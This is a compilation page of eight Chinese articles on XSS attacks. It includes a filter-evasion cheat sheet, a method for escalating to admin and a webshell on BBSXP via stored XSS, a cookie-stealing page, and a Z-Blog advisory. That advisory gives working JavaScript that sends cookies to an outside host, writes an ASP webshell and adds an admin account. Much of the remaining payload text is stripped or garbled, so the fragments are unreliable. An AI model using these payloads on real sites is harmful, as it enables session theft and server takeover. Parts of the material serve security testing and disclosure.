安全测试跨站脚本攻击(xss)脚本安全
“进前”通过精心收集,向本站投稿了8篇安全测试跨站脚本攻击(xss)脚本安全,以下是小编帮大家整理后的安全测试跨站脚本攻击(xss)脚本安全,欢迎大家收藏分享。
篇1:安全测试跨站脚本攻击(xss)脚本安全
跨站脚本简称(cross sites script),是安全里比较重要也比较普遍的一种安全漏洞,跨站脚本是指输入恶意的代码,如果程序没有对输入输出进行验证,则浏览器将会被攻击者控制。可以得到用户cookie、系统、浏览器信息,保存型xss还可以进行钓鱼,以获取更多的用户信息。
最常见的跨站脚本的方法,输入
以及它的各种变体
实体
%3Cscript%3Ealert(1)%3C/script%3E URL编码
或者 ;等 如果提交后,页面弹出警告框,则该页面存在xss漏洞 *反射型xss 通俗来讲,即使输入一段代码,既可以看到代码实际的效果,而非原程序的效果 如:一段代码 //location.search返回url?开始的部分 当输入以下url “127.0.0.1/attrck.html?search=222” 页面将显示:?search=222 ;但url中如果输入 /?search= 则页面的实际代码为: document.write(?search=); 将弹出警告框,即代码被执行了,而并非页面原来显示?后字符串的效果 可以使用伪造后的url获取用户cookie
127.0.0.1/attrck.html?search=
因为cookie是禁止跨域访问的,但伪造的url,浏览器会认为是还是localhost的域
*保存型xss
是指将恶意代码保存到服务器,比如发布一篇包含恶意代码,其他用户浏览时将执行恶意脚本
*基于dom的xss
严格来说该xss也属于反射性,本文的例子其实也是dom based,是指修改页面的dom对象模型,从而达成攻击,比如页面使用了document.write\document.writeln\innerhtml等dom方法有可能引起dom based xss
查找xss漏洞一般使用手工输入,需要考虑到输入限制、过滤、长度限制等因素,因此需要设计各种不容的变体输入,以达到测试效果,也可以使用工具,比如burpsuite来获取请求后手工修改请求参数,然后重新提交到浏览器来测试,因为xss并不限于可见的页面输入,还有可能是隐藏表单域、get请求参数等,
篇2:xss跨站脚本攻击
(1)普通的XSS JavaScript注入
(2)IMG标签XSS使用JavaScript命令
(3)IMG标签无分号无引号
(4)IMG标签大小写不敏感
(5)HTML编码(必须有分号)
(6)修正缺陷IMG标签
”>
(7)formCharCode标签(计算器)
(8)UTF-8的Unicode编码(计算器)
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
(10)十六进制编码也是没有分号(计算器)
(11)嵌入式标签,将Javascript分开
(12)嵌入式编码标签,将Javascript分开
(13)嵌入式换行符
(14)嵌入式回车
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
(16)解决限制字符(要求同页面)
(17)空字符
perl -e ‘print “”;’ >out
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
perl -e ‘print “
(19)Spaces和meta前的IMG标签
(20)Non-alpha-non-digit XSS
(21)Non-alpha-non-digit XSS to 2
(22)Non-alpha-non-digit XSS to 3
(23)双开括号
<
(24)无结束脚本标记(仅火狐等浏览器)
(25)无结束脚本标记2
(26)半开的HTML/JavaScript. XSS
(27)双开角括号
[1] [2] 下一页
篇3:如何防范XSS跨站脚本攻击――测试篇WEB安全
Reflected XSS(反射跨站脚本攻击)
这是最常见也是最知名的XSS攻击,当Web客户端提交数据后,服务器端立刻为这个客户生成结果页面,如果结果页面中包含未验证的客户端输入数据,那么就会允许客户端的脚本直接注入到动态页面中,传统的例子是站点搜索引擎,如果我们搜索一个包含特殊HTML字符的字符串时,通常在返回页面上仍然会有这个字符串来告知我们搜索的是什么,如果这些返回的字符串未被编码,那么,就会存在XSS漏洞了。
初看上去,由于用户只能在自己的页面上注入代码,所以似乎这个漏洞并不严重,但是,只需一点点社会工程的方法,攻击者就能诱使用户访问一个在结果页面中注入了代码的URL,这就给了攻击者整个页面的权限。由于这种攻击往往会需要一些社会工程方法,所以研发人员往往不会太过看重,但是我们看如下的例子,在服务器上有如下代码:
article.php?title=
这就使得浏览器每3秒就刷新一次页面,而且是一个死循环的状态,这就形成了DOS攻击,导致Web服务器挂掉。
DOM-Based XSS(基于DOM的XSS)
这个漏洞往往存在于客户端脚本,如果一个Javascript脚本访问需要参数的URL,且需要将该信息用于写入自己的页面,且信息未被编码,那么就有可能存在这个漏洞,
黑盒测试和示例:
比较简单的测试是否存在XSS漏洞的方法是验证Web应用是否会对一个包含了HTTP响应的简单脚本的访问请求,例如,Sambar服务器(5.3)包含一个众所周知的XSS漏洞,我们向服务器发送如下的请求,从服务器端能够产生一个响应从而在Web浏览器中执行
server/cgi-bin/testcgi.exe?
这个脚本会在客户浏览器端被执行。
我们再举个例子:
由于Javascript是区分大小写的,有些人会尝试将所有字符转换为大写字符来避免XSS漏洞,在这时,我们最好还是使用VBScript,因为它是大小写不区分的:
JavaScript.
VBScript.
如果我们已经过滤了”<”,或者是
%3cscript. src=www.example.com/malicious-code.js%3e%3c/script%3e
\x3cscript. src=www.example.com/malicious-code.js\x3e\x3c/script\x3e
篇4:XSS(跨站脚本攻击) 逃避过滤脚本安全
XSS(跨站脚本攻击) 备忘录
逃避过滤
出处:ha.ckers.org/xss.html
作者:RSnake
翻译:帝释天
如果你不知道如何进行XSS攻击,那么本文或许对你没有任何帮助,这里主要针对已经对基本的XSS攻击有所了解而想更加深入地理解关于绕过过滤的细节问题的读者。文中不会告诉你如何降低XSS的影响或者怎么去编写一些实际的攻击代码。你可以简单的得到一些最基本的方法来推测剩余的部分。
(介绍部分略,太基础的部分也略,罪过,希望RSnake大牛大人有大量)
不分大小写引起的XSS
Code:
包含HTML字符
Code:
沉音符混淆(如果你同事需要使用单双引号你可以使用沉音符放入javascript字符串中。因为不少过滤器不了解沉音符导致了漏洞)
Code:
畸形的IMG标签。最初由Beqeek发现(整理精简后可以工作于所有浏览器),该方法利用了松散的图形渲染引擎让我们能在被引号包围的IMG标签中创建自己的XSS。
Code: “>
fromCharCode 如果你无法使用引号,你可以使用fromCharCode用于eval函数。
Code:
UTF-8编码
Code:
Long UTF-8 编码可以不使用分号,这样绕过一些正则检查
Code:
没有分号的Hex编码
Code:
嵌入TAB键进行攻击
Code:
嵌入编码过后的TAB键
Code:
嵌入新行可以进行XSS,一些网站上说char 09 – 13都可以为XSS攻击服务,那显然不正确。只有09 10 13才会正常工作。
Code:
Code:
Code:
SRC
=
”
j
a
v
a
s
c
r
i
p
t
:
a
l
e
r
t
(
'
X
S
S
'
)
“
>
NULL字符能逃避很多过滤系统
Code: perl -e 'print ”“;' >out
Code: perl -e 'print ”
多余的开放括号。提交弗兰兹泽德尔迈尔,这XSS的载体能战胜某些侦测引擎,通过使用匹配的第一个打开和关闭角括号对和做了比较,然后在标签内的工作,而不是像博耶-穆尔看起来更有效algorythm为整个字符串匹配的开角括号和相关的标签(后解除困惑,当然)。双斜线意见中提出的结局无关的支架,以制止JavaScript错误:
Code: <
未关闭的标签
Code:
各种其他的标签
Code:
Code:
Code:
Code:
Code:
Code:
(netspace)
Code:
Code:
Code:
Code:
Code:
Code:
Code:
XSSCode: (netscape only)
Code: (netscape only)
Code:
Code:
Code:
Code:
Code:
US_ASCII编码(库尔特发现),
使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互。
Code: ?scriptualert(EXSSE)?/scriptu
META协议
Code:
Code:
Code:
对DIV进行unicode编码
Code:
使用expression属性
Code:
STYLE标签
Code:
Code:
Code:
Code:
OBJECT标签
Code:
Code:
EMBED标签
Code:
Code:
在flash文件中使用如下代码:
Code: a=“get”;
b=“URL(\”“;
c=”javascript.:“;
d=”alert('XSS');\“)”;
eval(a+b+c+d);
XML namespace可以引入行为文件htc但是必须在同一服务器上
Code:
Xss.htc:
使用CDATA模糊化的XML数据岛
Cdoe:
XML数据岛
Code:
Code:
(xsstest.xml)必须同域下
HTML+ TIME
Code:
UTF7编码
Code:
防止二次执行的expression语句
篇5:什么是XSS跨站脚本攻击
一、什么是XSS攻击 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击,
什么是XSS跨站脚本攻击
,
它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,
篇6:详解XSS跨站脚本攻击
一、什么是XSS攻击
XSS又叫CSS (Cross Site Script) ,跨站脚本攻击,它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的。XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术,但是其思路希望对大家有帮助。
如何寻找XSS漏洞
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。
然后利用下面的技术得到一个shell.
如何利用
传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。
二、来自内部的跨站攻击
寻找跨站漏洞
如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”<”,”>”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个,这个时候,你只要闭合一个,代码就会执行,如:你在标题处输入,这样就可以弹出一个test的框。
如何利用
我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.
a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入:
c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。
d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示
除此之外我们只要在个人签名里输入
同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell.
上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的攻击,对于flash木马的制作,下面见哥们丰初的介绍。
再利用如下:
修改一下个人头像的url,输入代码如下: admin_setup.asp?
menu=variableok&clubname=+&homename=+&homeurl=&floor=2&PostTime=3&Timeout=6&OnlineTime=12&Reg10=10&style=1&selectup=FSO&MaxFace=10240&MaxPhoto=30720&MaxFile=102400&UpFileGenre=gif|jpg|php|rar
再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击,
三、来自外部的跨站攻击
有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。
例:先上传一个文件linzi.txt,内容如下:
篇7:跨站脚本攻击和防御指向
原文:milw0rm.com
作者:Xylitol
翻译:老臧
首发:lovelaozang.cn
摘要:
1>什么是XSS?
2>XSS脚本攻击
3>制造一个cookie攻击
4>保护XSS
5>笨方法
6>过滤绕过
7>Flash攻击
8>XSS 上传
9>XSS 钓鱼
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 1 - 什么是XSS? :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案, 这次袭击使内容(脚本) ,在无特权区被执行与权
限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:
* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。
* Web浏览器配置漏洞,不安全的站点在特定的区域被列出
* 特定的区域被跨站脚本攻击
用命令攻击要有如下两个步骤:
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
些恶意操作.
当这个攻击完成后,将有恶意软件(像蠕虫远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 2 - XSS脚本攻击 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
新建一个文本文档,把下面的代码放进:
transitional.dtd”>
Simple XSS vulnerability by Xylitol
Search:
然后,把这个页面保存为index.html
再新建一个文本文档,把下面的代码放进去:
transitional.dtd”>
Search result :
把文件另存为XSS.php
关闭记事本
在firefox里面打开index.html
输入一个值然后点search
返回页面输入
发送表单
弹出一个对话框
_______________________________________
/ 127.0.0.1 dit: X
|________________________________________|
| |
| |
| ^ |
| / |
| / | XSS |
| / . |
| ――- |
| ______ |
| | OK | |
| ―― |
|________________________________________|
XSS攻击这时产生了…
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 3 - 制造一个cookie攻击 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
把这段代码插入到一个易受攻击的页面(如:留言板)
(www.Hax0r.com = 你的网站)
打开记事本,把下面的代码放进去,另存为cookie.php
transitional.dtd”>
Error-Access deniedfor
这对于攻击者还不够,等着还不如接收电子邮件,
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 4 - 保护XSS :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
修补漏洞:
为修复XSS漏洞使用htmlentities
在第16行放置
Search result :
By:
Search result :
if(isset($_POST[Vulnerability])) { echo htmlentities($_POST[Vulnerability]); } ?>
use htmlspecialchars function in PHP
other function:
htmlentities() quotes
strip_tags()
…
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 5 - 笨方法 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
要想进行一个XSS攻击是相当简单的事情,这里有些常用的方法:
利用image:
利用flash:
重定向:
还有:
____ ____
/ /
______/ /_____________________________________ \______
| / / |
| / /.:Chapter 6 - 过滤绕过 :. |
|___/ /___________________________________________ \___|
/ /
/___/ \___
事实上也不是那么简单就能绕过 htmlspecialchars()
这里有一些关于绕过xss的例子:
‘”>>
‘”>>
‘>>
“>
style=”x
篇8:Zblog跨站脚本攻击漏洞
style=“display:block;padding:0px 10px;” class=“ContentFont”>漏洞说明:Z-Blog是一款基于Asp平台的Blog博客(网志)程序,支持Wap,支持Firefox,Oprea等浏览器,在国内使用非常广泛,官方主页在www.rainbowsoft.org/,Z-blog代码严谨,前台功能简洁,后台功能强大,这为它的产品安全带来很大的优势,但是80sec在产品中发现一个严重的跨站脚本攻击漏洞,加上产品设计上的一些问题可能带来严重的后果。
漏洞厂商:www.rainbowsoft.org/
漏洞解析:在FUNCTION/c_urlredirect.asp中,程序对提交的url参数做如下处理
strUrl=URLDecodeForAntiSpam(Request.QueryString(“url”))
其中URLDecodeForAntiSpam是防止垃圾连接的解码函数,其函数处理如下
Function URLDecodeForAntiSpam(strUrl)
Dim i,s
For i =1 To Len(strUrl) Step 2
s=s & Mid(strUrl,i,1)
Next
URLDecodeForAntiSpam=s
End Function
在做如上处理之后程序将在c_urlredirect.asp输出url参数
...
…
精心构造url参数将能构造一个url类型的非持久xss如下:
127.0.0.1/Z-Blog18/FUNCTION/c_urlredirect.asp?url=jxaxvxaxsxcxrxixpxtx%3Ax%22x%3Ex%3Cxsxcxrxixpxtx+xsxrxcx%3Dxhxtxtxpx%3Ax%2Fx%2Fx1×2x7x%2Ex0x%2Ex0x%2Ex1x%2Fx1x%2Exjxsx%3Ex%3Cx%2Fxsxcxrxixpxtx%3Ex
上述url访问之后将引入127.0.0.1/1.js执行,其中可以写任意js代码。
而z-blog的所有安全设计全部用来抵御前台的攻击,对于后台基本没有任何限制,加上antispam功能对用户提交的url连接类似于加密处理,所以很容易就可以诱惑别人访问上述的xss攻击url,可以发表评论如下:
看这个站,有新东西?
www.80sec.com
用户看到的是www.80sec.com这个信任的站点,而一旦点击将在www.foo.com域执行恶意用户指定的js,在该js里可以写shell,添加用户,偷取COOKIE然后模拟出真正的转向,整个过程很难发现攻击的意图,80sec提供js如下:
xmlhttp=poster();
cookie=document.cookie;
login=cookie.indexOf('password')==-1?0:1;
tolocation='www.80sec.com/';
//get cookie
x=new Image();
x.src=“www.80sec.com/c.php?c=”+escape(document.cookie);
//get a shell
data=“txaContent=<%25execute(request(%22a%22))%25>“;
postmydata(”www.0×37.com/cmd.asp?act=SiteFilePst&path=%2E%2FUPLOAD%2Findex%2Easp&opath=”,data);
//add a user data=”edtID=0&edtLevel=2&edtName=xss2root&edtPassWord=d073d5454ffe92bdcd3cbcb77d149df5&edtPassWordRe=xss2root&edtEmail=null@null.com&edtHomePage=&edtAlias=”;
postmydata(”www.0×37.com/cmd.asp?act=UserCrt”,data);
//fool the user
window.location=tolocation;
function poster(){
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType(’text/xml’);
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
return request;
}
function postmydata(action,data){
xmlhttp.open(”POST", action, false);
xmlhttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xmlhttp.send(data);
return xmlhttp.responseText;
}
【安全测试跨站脚本攻击(xss)脚本安全】相关文章:
6.脚本范文
7.使用PHP 构建的Web 应用如何避免XSS 攻击脚本安全






文档为doc格式